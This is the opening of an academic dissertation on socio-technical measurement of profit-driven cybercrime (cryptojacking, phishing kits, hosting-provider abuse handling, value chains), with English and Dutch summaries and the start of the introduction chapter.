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SUMMARY

The introduction of the Internet in the early 1990s enabled emailing, Web surfing, and
videoconferencing but also opened doors for criminals to abuse these new opportuni-
ties. Scamming Internet users, compromising computer systems, or even robbing on-
line bank accounts are practices that we call cybercrime nowadays. In this dissertation,
we use the definition of Gordon & Ford [95] that refers to “any crime that is facilitated
or committed using a computer, network, or hardware device” and as most cybercrime
is driven by monetary gain [78, 115], we limit ourselves to crimes committed with mon-
etary motivations and exclude the actions of nation-state actors or hacktivists. We are
not the first to study cybercrime, and much is already known about the tactics, tech-
niques, and procedures (TTP) of modern cybercriminals. Yet, the scale of cybercrime is
ever-expanding, impacting many innocent citizens and resulting in millions of dollars in
losses for the global society [227]. Law enforcement agencies and policymakers world-
wide try to disrupt these miscreants but often lack a clear picture of the crimes they are
fighting. Scholars have tried to assess the scale of various cybercrimes, either through
large-scale Internet measurements [124, 241, 263] or through qualitative criminology
research [143, 150, 206]. Estimations of the size of cybercrime, however, rely often on
reported incidents, court cases, or police reports [31]. Yet, the majority of cybercrime in-
cidents are never reported to the police [57, 59], which implies a much higher amount of
actual (attempted) cybercrime. The question arises as to how much higher this amount
would be and how to measure it to assist in the effective governance of cybercrime.

To structure measurements of cybercrime, we leverage the concept of value chains
and cybercriminal resources. Cybercriminals need a variety of products and services to
set up their attacks [72], just as criminals involved in illegal drug production and traf-
ficking. A major difference between traditional drug crime and cybercrime is how it can
be measured. Traditional crimes rely on physical products that are often traded decen-
tralized and outside anybody’s view, making it hard to measure their presence [164]. In-
sights into the dependencies in such a criminal operation are often obtained by police
investigations following arrests, confessions from ex-criminals, or through undercover
operations. This is different from cybercrime, which can be measured more easily and
safer [164], as the observability of resources used in cybercrime and their centralized
collection allows for external measurements and does not require undercover police op-
erations. The possibility of performing these kinds of measurements does not imply
that it is trivial. The Internet is immense and constantly changing, making it difficult to
detect criminal activity next to the many benign Internet activities and requires robust
measurement approaches to structure analyses of cybercrime.

As the word cybercrime suggests, measurements of profit-driven cybercrime involve
two disciplines of academic research: Internet measurements (cyber) and criminology
(crime). Both are aimed at identifying the TTP that cybercriminals employ [239] but ap-
proach their measurements in a totally different way [109]. As a result, both approaches

xiii
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come with their advantages, disadvantages, and challenges. Internet measurements al-
low for obtaining a broad picture of a type of cybercrime with many data points but come
with dataset selection challenges and often lack in-depth insights into how cybercrimi-
nals work. Criminologists often present this level of detail, but their findings are narrowly
scoped and gathered from smaller datasets. Despite the large body of work produced by
both disciplines, their research efforts have largely remained disjoint, with researchers
on one side not benefiting from the advancements proposed by the other [109]. We hy-
pothesize that combining both approaches into socio-technical measurements of cy-
bercrime, hereby performing Internet measurements while taking criminology aspects
into account, could result in improved measurements. What innovations are there to be
made to perform such measurements? How to perform cybercrime measurements to
assist in cybercrime governance?

The rise of new and emerging types of cybercrime requires scientific innovations to
measure them. In 2019, browser-based cryptojacking gained popularity among cyber-
criminals as a means to earn a profit from stolen computing power. Several researchers
started designing techniques to detect illicit in-browser cryptomining activity [101, 127,
149, 199, 205, 207], yet little attention was paid to determining the scale of this cyber-
crime (i.e., assessing its prevalence among Internet users) nor investigating large cam-
paigns of cryptomining websites related to a shared actor. Additionally, no research has
been conducted into other means of distribution, such as MITM attacks on compro-
mised Internet infrastructure. Next, we found geographic demarcations to be scarce
in Internet measurements due to the global character of the modern-day Internet. Al-
though various previous studies hinted at the importance of spatiality in cybercrime
measurements [73, 98, 181], we do not find many studies involving Internet measure-
ments of cybercrime focused on the Netherlands. Besides law enforcement and policy-
makers, there is an important role in the fight against cybercrime reserved for a variety of
organizations and mechanisms operating within the anti-abuse ecosystem. Within this
ecosystem, some parties report the existence of malicious content to the intermediaries
or facilitators hosting it. Although abuse handling has been around for many years, little
is known about the internal decision-making processes within such intermediary host-
ing providers to deal with abuse reports. Past studies have predominantly taken an ex-
ternal point of view and analyzed how abusive content – e.g., phishing sites, spamming
activity, and malware C&C servers – are allocated across providers [219, 232]. Such stud-
ies, however, lack insights into the internal dynamics of the respective companies, which
is something we would like to address. Lastly, we wonder how cybercrime measure-
ments assist in law enforcement efforts to disrupt cybercrime. What kind of information
related to cybercrime is essential for designing evidence-based governance strategies?
Some academics are convinced that their scientific measurements of cybercrime could
assist governance [239, 249], yet we found no scientific proof for these claims.

This dissertation studies the challenges of performing socio-technical measure-
ments of profit-driven cybercrime. We investigate how cybercrime can be measured
adequately and how insights gained from these measurements can improve governance.
Thus, we formulate the following research question: “How to perform socio-technical
measurements of cybercrime to assist in cybercrime governance?”. A total of five studies,
included as chapters in this dissertation, aim to answer this research question.
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Chapter 2 focuses on cryptojacking on websites and estimates the prevalence of this
type of cybercrime, as illicit cryptomining has skyrocketed since 2017. Two extensive
studies are performed to examine Web-based cryptojacking – one focused on organized
cryptomining and one on the prevalence of cryptojacking on the entire Internet. We use
a combination of data sources to build a representative dataset for our measurements
and leverage previous academic work to crawl numerous domains and search for over-
lapping resources used in cryptojacking campaigns. We identify the commonly used
attack vector for cryptojacking, the most prevalent category of websites affected, and
stumble upon large cybercriminal campaigns.

Next, in Chapter 3, we dug deeper into cryptojacking attacks by examining installed
malicious cryptojacking scripts on compromised Internet infrastructure, such as ISP and
consumer-grade routers. Through a firmware vulnerability in MikroTik routers, cyber-
criminals could rewrite Web traffic flowing through these routers and inject it with mali-
cious cryptojacking code. Following this attack vector revealed a completely new realm
of cryptojacking activity, much larger and more organized than any website-based cryp-
tojacking. Based on NetFlows recorded in a Tier 1 network, semiweekly Internet crawls,
and network telescope traffic, we examine the modus operandi of these cybercriminals.
We show how these large installations of cryptojacking attacks relate to each other and
sketch the life cycles of infected infrastructure. Additionally, we perform campaign anal-
ysis to identify different levels of sophistication among adversaries.

In Chapter 4, we switched focus to a different type of cybercrime: phishing, which
is the illicit harvesting of user credentials. Although many phishing studies have been
published [58, 119, 139, 241, 262], an in-depth analysis of the cybercriminal TTP tar-
geted at Dutch citizens was lacking. For this research, we specifically focused on the first
component in the phishing value chain: development. This component involves devel-
oping and trading phishing kits used in phishing attacks. We collect many such phishing
kits, leverage the use of TLS certificates by phishers, and develop a crawler to uncover
phishing domains aimed at customers of the Dutch financial sector. This allowed us to
capture the end-to-end life cycle of such phishing attacks and investigate the luring ca-
pabilities to trick victims into disclosing their credentials. These insights enabled us to
paint a comprehensive picture of the TTP prevalent in the Dutch phishing landscape and
present public policy takeaways for anti-phishing initiatives.

Chapter 5 scrutinized the instruments that have been put into place to fight Inter-
net abuse, like cybercrime. These instruments range from legislation to remove copy-
righted material to technical instruments such as blocklists to stop spam and rely on
industry standards for abuse reporting: reporting abuse to the resource or network own-
ers requesting mitigation. Through a unique collaboration with law enforcement in the
Netherlands, we were granted access to the operational back-end of a hosting provider
with a reputation for abuse. We examine its abuse tickets and their follow-up actions to
investigate what mechanisms in the anti-abuse ecosystem influence anti-abuse actions.
We find that notification rates highly depend on the source and the type of abuse report
and less on the involved client. Governance instruments like blocklisting, de-peering,
and law enforcement inquiries that could directly hurt business continuity affect client
notifications, whereas individual abuse reporting is easily ignored.

Chapter 6 combined previous chapters by examining past scientific measurements
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of cybercrime. These are typically based on large-scale Internet measurements of re-
sources such as domains, binaries, or attack traffic. We leverage the concept of value
chains to structure 38 studies featuring measurements of phishing, booter services, and
remote access trojans (RATs). We review how other scholars have set up their measure-
ments of these profit-driven cybercrimes, examine their methods, and assess the used
data sources to identify common denominators. Then, we let law enforcement pro-
fessionals reflect on some of these measurements and jointly identify the unexplored
potential for novel measurements that could solve current needs in cybercrime polic-
ing. Combining the input from law enforcement with the structured analysis of previous
academic measurements allowed the identification of what characteristics of scientific
measurements are useful for law enforcement – i.e., assisting LEAs in determining how
their scarce resources can be best put to use.

Finally, Chapter 7 presents the main findings of our work, reflects on its societal im-
pact and governance implications, and presents avenues for future work. We find that
an important and often overlooked aspect of Internet measurements examining cyber-
crime is that such measurements should aim to measure crime. Crime involves individ-
uals (or groups) with a clear (profit-driven) intent and corresponding decision-making
processes that balance risk and reward. Such characteristics of crime are well known to
criminologists but are not reflected in the measurements performed by computer scien-
tists. Additionally, we find that Internet measurements of cybercrime often lack a clearly
defined geographical demarcation, which is important to LEAs as they operate in con-
junction with local jurisdictions. In writing this dissertation, it has become apparent
that all the different measurement lenses can assist in designing measurements that ap-
ply directly to law enforcement needs, albeit in different ways. Value chains are a useful
lens to determine what measurements exactly aim to measure, life cycle analysis has
the capability to show the (im)possibilities for governance interventions, and perform-
ing campaign analysis has the potential to provide valuable insights into the degree of
organization within a studied cybercrime. Insights into the degree of organization and
the different types of cybercriminals can assist law enforcement in designing effective
governance strategies. Lastly, we find a misalignment between the focus of academic cy-
bercrime measurements and law enforcement needs. We found most measurements to
focus on the deployment and execution components of cybercrime, whereas LEAs desire
to learn more about development and monetization.

In short, cybercrime measurement approaches that consider the intent behind crim-
inal acts, that are clearly delineated in terms of geographical scope and the type of actor
studied, and that incorporate campaign analysis to assess not only the prevalence but
also the degree of organization, such measurements can provide valuable support to law
enforcement efforts in combating cybercrime. Structuring academic analyses around
value chains, life cycles, and campaign analysis creates safeguards for researchers to as-
sess whether they measure what they want to measure.
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De introductie van het Internet begin jaren negentig maakte e-mailen, surfen op het
Web en videoconferenties mogelijk, maar opende tegelijkertijd de deur voor criminelen
om deze nieuwe kansen te misbruiken. Het oplichten van Internetgebruikers, het com-
promitteren van computersystemen of zelfs het leegroven van online bankrekeningen
zijn praktijken die men tegenwoordig cybercriminaliteit noemt. In dit proefschrift han-
teren we de definitie van Gordon & Ford [95], die luidt als volgt: “elke misdaad die wordt
gefaciliteerd of gepleegd met behulp van een computer, netwerk of hardwareapparaat”.
Omdat de meeste cybercriminaliteit wordt gedreven door financieel gewin [78, 115], be-
perken we ons tot misdrijven met een financiële motivatie en worden hiermee acties van
statelijke actoren of hacktivisten uitgesloten. Er is al veel bekend over de tactieken, tech-
nieken en procedures (TTP) van moderne cybercriminelen. Toch blijft cybercriminaliteit
toenemen, met gevolgen voor vele onschuldige burgers en een verlies van miljoenen dol-
lars wereldwijd [227]. Opsporingsdiensten en beleidsmakers proberen deze misdadigers
aan te pakken, maar hebben vaak geen duidelijk beeld van de misdaden die zij bestrij-
den. Wetenschappers trachten de omvang van verschillende vormen van cybercrimi-
naliteit te schatten, hetzij via grootschalige metingen van het Internet [124, 241, 263],
hetzij via kwalitatief criminologisch onderzoek [143, 150, 206]. Schattingen van de om-
vang van cybercriminaliteit zijn echter vaak gebaseerd op gerapporteerde incidenten,
rechtszaken of politierapporten [31]. In werkelijkheid ligt de hoeveelheid cybercrimina-
liteit waarschijnlijk veel hoger, omdat de meerderheid van incidenten nooit bij de politie
wordt gemeld [57, 59]. De vraag rijst hoeveel hoger deze aantallen liggen en hoe deze
kunnen worden gemeten om effectieve bestrijding van cybercriminaliteit te faciliteren.

Om metingen van cybercriminaliteit te structureren, wordt in dit proefschrift
de concepten waardeketens en cybercriminele middelen gebruikt. Cybercriminelen
hebben een verscheidenheid aan producten en diensten nodig om hun aanvallen op
te zetten [72], vergelijkbaar met criminelen die betrokken zijn bij de productie en
handel van illegale drugs. Een belangrijk verschil tussen traditionele drugsmisdaad
en cybercriminaliteit is echter hoe deze gemeten kan worden. Traditionele misdaad
draait om fysieke producten die vaak gedecentraliseerd en buiten het zicht worden
verhandeld, wat het meten ervan bemoeilijkt [164]. Inzichten in dergelijke criminele
operaties worden vaak verkregen via politieonderzoek na arrestaties, bekentenissen
van ex-criminelen of middels undercoveroperaties. Cybercriminaliteit kan daaren-
tegen eenvoudiger en veiliger worden gemeten [164], omdat de gebruikte middelen
gemakkelijk te observeren zijn en gecentraliseerd verzameld kunnen worden. Dit
betekent echter niet dat dergelijke metingen triviaal zijn om uit te voeren. Het Internet
is enorm en voortdurend in verandering, wat het moeilijk maakt om criminele activi-
teiten te onderscheiden van de vele legitieme Internetactiviteiten. Het vereist robuuste
meetmethodologieën om analyses van cybercriminaliteit te structureren.

Zoals de term cybercriminaliteit suggereert, omvatten metingen van financieel ge-
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motiveerde cybercriminaliteit twee academische onderzoeksdisciplines: Internetmetin-
gen (cyber) en criminologie (criminaliteit). Beide disciplines zijn gericht op het identi-
ficeren van de TTP die cybercriminelen hanteren [239], maar benaderen hun metingen
op geheel verschillende manieren [109]. Dit brengt zowel voordelen als nadelen met zich
mee. Internetmetingen bieden een breed overzicht van een type cybercriminaliteit met
veel datapunten, maar de juiste dataset selecteren is uitdagend en er missen vaak diep-
gaande inzichten in hoe cybercriminelen opereren. Criminologen leveren vaak wel dit
detailniveau, maar hun bevindingen zijn veelal gebaseerd op onderzoek met een klei-
nere reikwijdte en dus op kleinere datasets. Ondanks de grote hoeveelheid onderzoek
binnen beide disciplines, blijven hun onderzoeksinspanningen grotendeels gescheiden,
waardoor onderzoekers van de ene discipline niet profiteren van de vooruitgang in de
andere [109]. Wij veronderstellen dat het combineren van beide benaderingen in socio-
technische metingen van cybercriminaliteit, door Internetmetingen uit te voeren met
inachtneming van criminologische aspecten, kan leiden tot verbeterde meetmethoden.
Welke innovaties zijn nodig om dergelijke metingen uit te voeren? Hoe kunnen metingen
van cybercriminaliteit bijdragen aan de bestrijding ervan?

De opkomst van nieuwe vormen van cybercriminaliteit vereist wetenschappelijke in-
novatie om deze te kunnen meten. In 2019 won cryptojacking in de browser aan popu-
lariteit onder cybercriminelen als een methode om winst te genereren uit gestolen re-
kenkracht. Verschillende onderzoekers begonnen technieken te ontwikkelen om illegale
cryptominingactiviteiten te detecteren in Web browsers [101, 127, 149, 199, 205, 207]. Er
werd echter weinig aandacht besteed aan het vaststellen van de schaal van deze cyber-
criminaliteit (d.w.z. het bepalen van de prevalentie ervan onder Internetgebruikers) of
aan het onderzoeken van grootschalige campagnes van cryptominingwebsites die onder
controle staan van eenzelfde actor. Daarnaast is er geen onderzoek verricht naar andere
distributiemethoden, zoals MITM-aanvallen op gecompromitteerde Internetinfrastruc-
tuur. Verder constateren wij dat geografische afbakeningen in Internetmetingen schaars
zijn vanwege het mondiale karakter van het hedendaagse Internet. Hoewel verschillende
eerdere studies de relevantie van de ruimtelijke dimensie in cybercriminaliteitsmetingen
hebben benadrukt [73, 98, 181], zijn er maar weinig studies die Internetmetingen van cy-
bercriminaliteit in Nederland behandelen. Naast opsporingsdiensten en beleidsmakers
spelen diverse organisaties en mechanismen binnen het anti-abuse ecosysteem een be-
langrijke rol in de bestrijding van cybercriminaliteit. Binnen dit ecosysteem rapporteren
bepaalde partijen het bestaan van kwaadaardige inhoud aan de intermediairs of facili-
tators die deze hosten. Hoewel het verwerken van dergelijk abuse materiaal al jarenlang
plaatsvindt, is er weinig bekend over de interne besluitvormingsprocessen van derge-
lijke hostingproviders bij het verwerken van dit soort meldingen. Eerdere studies hebben
voornamelijk een externe benadering gehanteerd en geanalyseerd hoe schadelijk mate-
riaal zoals phishingwebsites, spamactiviteiten en malware C&C servers verspreid is over
verschillende providers [219, 232]. Dergelijke onderzoeken bieden echter geen inzicht
in de interne dynamiek van de betrokken bedrijven, een aspect dat wij in dit proefschrift
willen adresseren. Ten slotte zijn wij benieuwd hoe cybercriminaliteitsmetingen kun-
nen bijdragen aan inspanningen van politiediensten om cybercriminaliteit te verstoren.
Welke informatie over cybercriminaliteit is essentieel voor het ontwikkelen van op bewijs
gebaseerde governance? Sommige academici zijn ervan overtuigd dat hun wetenschap-
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pelijke metingen van cybercriminaliteit bijdragen aan dergelijke governance [239, 249],
maar wij hebben geen wetenschappelijk bewijs gevonden dat deze beweringen onder-
steunt.

Dit proefschrift bestudeert de uitdagingen van het uitvoeren van socio-technische
metingen van financieel gemotiveerde cybercriminaliteit. Wij onderzoeken hoe cyber-
criminaliteit adequaat gemeten kan worden en hoe inzichten uit deze metingen kunnen
bijdragen aan verbeterde governance. Daarom formuleren wij de volgende onderzoeks-
vraag: “Hoe kunnen socio-technische metingen van cybercriminaliteit worden uitgevoerd
ter ondersteuning van cybercrime governance?”. Vijf afzonderlijke studies, opgenomen
als hoofdstukken in dit proefschrift, trachten deze onderzoeksvraag te beantwoorden.

Hoofdstuk 2 richt zich op cryptojacking op websites en schat de prevalentie van deze
vorm van cybercriminaliteit, aangezien dit soort cryptomining sinds 2017 sterk is toe-
genomen. Twee grootschalige studies worden uitgevoerd om webgebaseerde cryptojac-
king te onderzoeken. Één gericht op georganiseerde cryptomining en één op de pre-
valentie van cryptojacking op het gehele Internet. Wij gebruiken een combinatie van
databronnen om een representatieve dataset op te bouwen voor onze metingen en ma-
ken gebruik van eerdere academische studies om talloze domeinen te geautomatiseerd
te bezoeken en te zoeken naar overlappende kenmerken die worden ingezet in cryp-
tojackingcampagnes. Hiermee identificeren wij de meest gebruikte aanvalsvector voor
cryptojacking, de meest getroffen categorie websites en stuiten wij op grootschalige cy-
bercriminele campagnes.

Vervolgens gaan we in hoofdstuk 3 dieper in op cryptojacking-aanvallen door
geïnstalleerde kwaadaardige cryptojacking-scripts op gecompromitteerde Internetin-
frastructuur (zoals routers) te onderzoeken. Door een kwetsbaarheid in de firmware
van MikroTik routers konden cybercriminelen het webverkeer dat door deze routers
stroomde herschrijven en schadelijke cryptojacking-code injecteren. Het volgen van
deze aanvalsvector onthulde een geheel nieuw domein van cryptojacking-activiteit, dat
veel groter en georganiseerder bleek te zijn dan cryptojacking via websites. Op basis van
NetFlows geregistreerd in een Tier 1-netwerk, semiwekelijkse Internetcrawls en data uit
een netwerktelescoop analyseren we de modus operandi van deze cybercriminelen. We
laten zien hoe deze grootschalige cryptojacking-installaties met elkaar samenhangen en
schetsen de levensloop van deze gecompromitteerde Internetinfrastructuur. Daarnaast
voeren wij een campagne analyse uit om verschillende niveaus van verfijning onder
aanvallers te onderscheiden.

In hoofdstuk 4 verschuift de focus naar een ander type cybercriminaliteit: phishing,
oftewel het illegaal verzamelen van inloggegevens. Hoewel er al veel phishing-
onderzoek is gepubliceerd [58, 119, 139, 241, 262], ontbrak een diepgaande analyse
van de cybercriminologische TTP gericht op Nederlandse burgers. Voor dit onderzoek
richten wij ons specifiek op de eerste component in de waardeketen van phishing aan-
vallen: de ontwikkeling. Deze fase omvat het ontwikkelen en verhandelen van phishing
kits die worden gebruikt bij phishing aanvallen. Wij verzamelen een groot aantal van
deze phishing kits, analyseren het gebruik van TLS-certificaten door cybercriminelen
en ontwikkelen een crawler om phishing domeinen te identificeren die gericht zijn
op de klanten van de Nederlandse financiële sector. Hierdoor konden we de volledige
levensloop van phishing aanvallen vastleggen en de technieken analyseren waarmee
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slachtoffers worden verleid om hun inloggegevens prijs te geven. Deze inzichten
stelden ons in staat een volledig beeld te schetsen van de TTP binnen het Nederlandse
phishing landschap en beleidsmatige aanbevelingen te formuleren voor anti-phishing
initiatieven.

Hoofdstuk 5 onderzoekt de instrumenten die zijn ingezet om Internet abuse, waar-
onder cybercriminaliteit, te bestrijden. Deze instrumenten variëren van wetgeving om
auteursrechtelijk beschermd materiaal te verwijderen tot technische middelen zoals het
opstellen van blocklists om spam te stoppen, en zijn gebaseerd op industriestandaar-
den voor abuse meldingen: het rapporteren van abuse aan de eigenaars van een net-
werk of online bron met het verzoek tot mitigatie. Door een unieke samenwerking met
een Nederlandse opsporingsdienst kregen wij toegang tot de operationele back-end van
een hosting provider die bekend is vanwege haar hoeveelheden abuse. We analyseren
de abuse meldingen en de opvolgende acties om te onderzoeken welke mechanismen
binnen het anti-abuse ecosysteem invloed hebben op de bestrijding van abuse. We con-
stateren dat meldingspercentages sterk afhankelijk zijn van de bron en het type abuse
melding, en in mindere mate van de betrokken klant. Governance-instrumenten zoals
blocklisting, de-peering en verzoeken van opsporingsdiensten welke directe gevolgen
kunnen hebben voor de bedrijfscontinuïteit beïnvloeden de doorzetting van meldin-
gen naar klanten, terwijl individuele abuse rapportage eenvoudig kunnen worden ge-
negeerd.

Hoofdstuk 6 brengt de voorgaande hoofdstukken samen door eerdere wetenschap-
pelijke metingen van cybercriminaliteit te analyseren. Deze metingen zijn doorgaans ge-
baseerd op grootschalige Internetmetingen van domeinen, software of aanvalsverkeer.
We benutten het concept van waardeketens om 38 studies te structureren die metingen
van phishing, booter-diensten en remote access trojans (RATs) bevatten. We beoorde-
len hoe andere onderzoekers hun metingen van deze financieel gedreven vormen van
cybercriminaliteit hebben opgezet, onderzoeken hun methodologieën en analyseren de
gebruikte databronnen om gemeenschappelijke factoren te identificeren. Vervolgens la-
ten we medewerkers van opsporingsdiensten reflecteren op enkele van deze metingen
en gezamenlijk verkennen we het onbenutte potentieel voor nieuwe metingen die kun-
nen inspelen op de huidige behoeften in de opsporing van cybercriminaliteit. Door de
input van opsporingsdiensten te combineren met de gestructureerde analyse van eer-
dere academische metingen, konden we vaststellen welke kenmerken van wetenschap-
pelijke metingen nuttig zijn voor opsporingsdiensten – oftewel, hoe zij hun schaarse
middelen het best kunnen inzetten.

Tot slot presenteert hoofdstuk 7 de belangrijkste bevindingen van ons onderzoek,
reflecteert het op de maatschappelijke impact en de governance implicaties, en schetst
het richtingen voor toekomstig onderzoek. Een belangrijk en vaak vergeten aspect van
Internetmetingen naar cybercriminaliteit is dat dergelijke metingen daadwerkelijk ge-
richt moeten zijn op het meten van criminaliteit. Criminaliteit omvat individuen (of
groepen) met een duidelijke (winstgedreven) intentie en bijbehorende besluitvormings-
processen waarin risico’s en beloningen worden afgewogen. Dergelijke kenmerken van
criminaliteit zijn gemeengoed binnen de criminologie, maar worden zelden meegeno-
men in de metingen die door computerwetenschappers worden uitgevoerd. Daarnaast
constateren we dat Internetmetingen van cybercriminaliteit vaak een duidelijke geogra-
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fische afbakening missen, terwijl dit voor opsporingsdiensten cruciaal is, aangezien zij
opereren binnen lokale jurisdicties. Bij het schrijven van dit proefschrift werd duidelijk
dat de verschillende meet methodologieën kunnen bijdragen aan de ontwikkeling van
metingen die direct toepasbaar zijn voor opsporingsdiensten, zij het op verschillende
manieren. Waardeketens vormen een nuttig kader om te bepalen wat precies wordt ge-
meten, levenscyclusanalyse tonen de (on)mogelijkheden voor governance-interventies,
en campagne analyses bieden waardevolle inzichten in de mate van organisatie binnen
een bepaalde vorm van cybercriminaliteit. Inzichten in de mate van organisatie en de
verschillende typen cybercriminelen kunnen opsporingsdiensten helpen bij het ontwik-
kelen van effectieve governance-strategieën. Tot slot constateren we een discrepantie
tussen de focus van academische metingen van cybercriminaliteit en de behoeften van
wetshandhaving. De meeste metingen richten zich op de implementatie en uitvoering
van cybercriminaliteit, terwijl opsporingsdiensten juist meer inzicht willen krijgen in de
ontwikkelingsfase en hoe winsten worden gemaakt.

Samenvattend, metingen die rekening houden met de intentie achter criminaliteit,
die zowel geografisch als op actorniveau goed zijn afgebakend, en die campagne ana-
lyses uitvoeren om niet alleen de prevalentie maar ook de mate van organisatie te on-
derzoeken, kunnen een waardevolle bijdrage leveren aan de bestrijding van cybercrimi-
naliteit. Het structureren van academische analyses rond waardeketens, levenscycli en
campagne analyses biedt onderzoekers methodologische waarborgen om te garanderen
dat zij daadwerkelijk meten wat zij beogen te meten.





1
INTRODUCTION

1.1. BACKGROUND
The introduction of the Internet in the early 1990s enabled emailing, Web surfing, and
videoconferencing, but also opened doors for criminals to abuse these new opportu-
nities. Scamming Internet users, compromising computer systems, or robbing online
bank accounts are practices we call cybercrime nowadays. Categorizing these malicious
activities as cybercrime is easy, but sharing a complete and well-established definition
of it is not. Various definitions exist and are actively used by scientists, governments, and
law enforcement agencies. Europol refers to cyber-dependent crime as “any crime that
can only be committed using computers, computer networks or other forms of informa-
tion communication technology (ICT)” (Europol [66]). According to Akdemir et al. [2],
the most commonly used definition in scientific literature was put forward by Gordon &
Ford in 2006, who define cybercrime as “any crime that is facilitated or committed using
a computer, network, or hardware device” (Gordon & Ford [95]). The European Commis-
sion follows this broad definition and refers to cybercrime as “a broad range of different
criminal activities where computers and information systems are involved either as a pri-
mary tool or as a primary target” (European Commission [64]). By taking a closer look at
these definitions, we observe two subcategories of cybercrimes. First, crimes in which
computers are both the instrument and the target (e.g., hacking, botnets, and crypto-
jacking), which are referred to as cybercrime in a narrow sense by Leukfeldt et al. [143].
Second, crimes in which computers are essential for their execution but not the primary
target (e.g., romance scams through social media platforms), which is referred to as cy-
bercrime in a broader sense [143]. In this dissertation, we follow the definition of Gordon
& Ford to study cybercrime in both a narrow and broader sense. As most cybercrime is
driven by monetary gain [78, 115], we limit ourselves to crimes committed with mone-
tary motivations and exclude the actions of nation-state actors or hacktivists.

We are not the first to study cybercrime, and much is already known about the
tactics, techniques, and procedures (TTP) of modern cybercriminals. Yet, the scale
of cybercrime is ever-expanding, impacting many innocent citizens and resulting in
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millions of dollars in losses for the global society [227]. Law enforcement agencies and
policymakers worldwide try to disrupt these miscreants but often lack a clear picture
of the crimes they are fighting. Scholars have tried to assess the scale of various cyber-
crimes, either through large-scale Internet measurements [124, 241, 263], or through
qualitative criminology research [143, 150, 206]. Estimations of the size of cybercrime,
however, often rely on reported incidents, court cases, or police reports [31]. Yet, the
majority of cybercrime incidents are never reported to the police [57, 59], which implies
a much higher amount of actual (attempted) cybercrime. The question arises as to
how much higher this amount would be and how to measure it to assist in the effective
governance of cybercrime.

Before we can answer this question, we require a clear understanding of the inner work-
ings of cybercrime, what steps a cybercriminal undertakes to be successful, and how
previous scholars have assessed Internet artifacts to analyze cybercrime. To do that, we
elaborate on the use of resources in cybercrime, introduce a variety of lenses that are
used to structure their measurements of cybercrime, and discuss the synergy between
Internet measurements and criminology.

1.1.1. CYBERCRIMINAL RESOURCES

When examining traditional crime, one can distinguish various steps a criminal (group)
undertakes to be successful. Taking illegal drug production and trafficking as an exam-
ple, specialized equipment to produce these drugs is necessary at first, as well as a pro-
cess to acquire raw materials, distribute goods, and manage buyers [110]. All of these
steps are necessary to operate a successful criminal business and are highly dependent
on each other. Illegal drugs cannot be made without raw materials, and profits can not
be made without a buyer. Hence, we distinguish dependencies in this criminal opera-
tion. Insights into the (inter)dependencies within such criminal operations are essential
to law enforcement and policymakers in designing effective interventions [164, 246]. For
instance, insights into the acquisition of raw materials resulted in the prohibition of sell-
ing and possessing them [110], making it easier for law enforcement agencies to arrest
individuals who carry these goods.

This is no different from cybercrime in the online world. Cybercriminals need a va-
riety of products and services to set up their attacks [72], just as criminals involved in
illegal drug production and trafficking. No malware infection can happen without a
piece of malicious software, communications with infected machines can not be estab-
lished without a command-and-control (C&C) server infrastructure, and every phishing
attack needs a website displaying a bogus login screen ready to capture user credentials.
Zooming in on the latter example shows clear similarities to the illegal drug production
and trafficking example from the previous paragraph. The first necessity, acquiring a
phishing website, is as essential to this crime as acquiring raw materials for illegal drug
production. Similarly, a hosting provider and a domain name to host this malicious web-
site can be compared to the specialized equipment essential for illegal drug production.
Finally, the monetization of stolen credentials after a successful phishing attack shows
great similarity to an ordinary drug deal in which a producer sells its drugs to a buyer.
Just like traditional crime, most cybercrime is driven by profit motives [78].
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Table 1.1: Examples of the required resources for cybercrime, including both products and services.

Products Services

Phishing kits Malware binaries Server hosting Certificate Authorities
Mining scripts Target lists Domain registration SMS gateway services
Domain names TLS certificates URL shorteners Cryptocurrency mixing

A major difference between traditional drug crime and cybercrime is how they can be
measured. Traditional crimes rely on physical products that are often traded decentral-
ized and outside anybody’s view, making it hard to measure their presence [164]. Insights
into the dependencies within such criminal operations are often obtained by police in-
vestigations following arrests, confessions from ex-criminals, or through undercover op-
erations. This is different from cybercrime, which can be measured more easily and
safely [164], as the observability of resources used in cybercrime and their centralized
collection allows for external measurements and does not require undercover police op-
erations. For example, domain names are publicly listed in DNS zone files [107], websites
are hosted on a public IP address, and TLS certificates are stored in the freely available
Certificate Transparency Logs [92]. Table 1.1 lists more of these resources used in cyber-
crime. As this table shows, resources can be both products and services. Many of the
resources used for illegal drug production and trafficking – ranging from raw materials
to anything related to the production or trafficking of illegal drugs – are explicitly prohib-
ited in most countries. However, just like the use of TLS certificates in cybercrime, some
resources (e.g., drain cleaner – sodium hydroxide – for the production of GHB) are not
criminal, as they are primarily used for benign purposes. The possibility of conducting
cybercrime measurements through observation of public resources does not inherently
imply that the process is trivial. The Internet is immense and constantly changing, mak-
ing it difficult to detect criminal activity among the many benign Internet activities, and
it requires robust measurement approaches to structure analyses of cybercrime.

1.1.2. MEASUREMENT LENSES
Following the introduction of cybercriminal resources, the question arises as to how to
measure the use of such resources within cybercriminal operations. A variety of view-
points can be taken to study cybercrime and measure such usage, which we define as
measurement lenses. This section details three such lenses used to examine resources in
cybercrime: value chains, life cycles, and campaign analysis.

VALUE CHAINS

The first lens we introduce provides an economic viewpoint on the resources cybercrim-
inals depend on and defines the steps to criminal success as components in a cybercrime
value chain [248] – illustrated in Figure 1.1 in the yellow rectangles. Each component in
the value chain requires a set of resources as an input and a resource as an output, shown
in green in Figure 1.1. Components in the value chain are not strictly executed sequen-
tially, as some components can be executed in parallel – e.g., a booter service can deploy
its storefront website and perform reconnaissance operations simultaneously. The first
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component in a cybercriminal value chain is often focused on (software) development.
It requires a skilled developer and results in products like a phishing kit or a malware
binary as an output. This, combined with other resources such as hosting services, TLS
certificates, or domain names, is used as input for the next component, deployment The
next component is execution, which encompasses the resources required to conduct
the actual cybercrime. That is, the resulting outputs from both the development and the
deployment components, as well as additional resources like, among others, URL short-
eners or SMS gateways to get, for example, phishing lures at potential victims. If a cyber-
criminal operates in a cybercrime-as-a-service model, customers can also be considered
an input resource for this component. The resulting account access (in the case of phish-
ing), hijacked PCs (in the case of malware infections), or DDoS attacks (in the case of a
booter service) are examples of outputs for this component. The last component in the
value chain is monetization since profit-driven cybercriminals eventually have to con-
vert cyber attacks into monetary value. Here, the resulting resources from the execution
component, together with money laundering constructs like money mules, cryptocur-
rencies, or the use of gift cards, allow for gaining profits.

Formerly, cybercriminals self-organized most components [239], but nowadays, as
many cybercriminals do not possess the expertise to fulfill every component themselves,
they depend on specialists to fulfill components for them, i.e., through outsourcing [14,
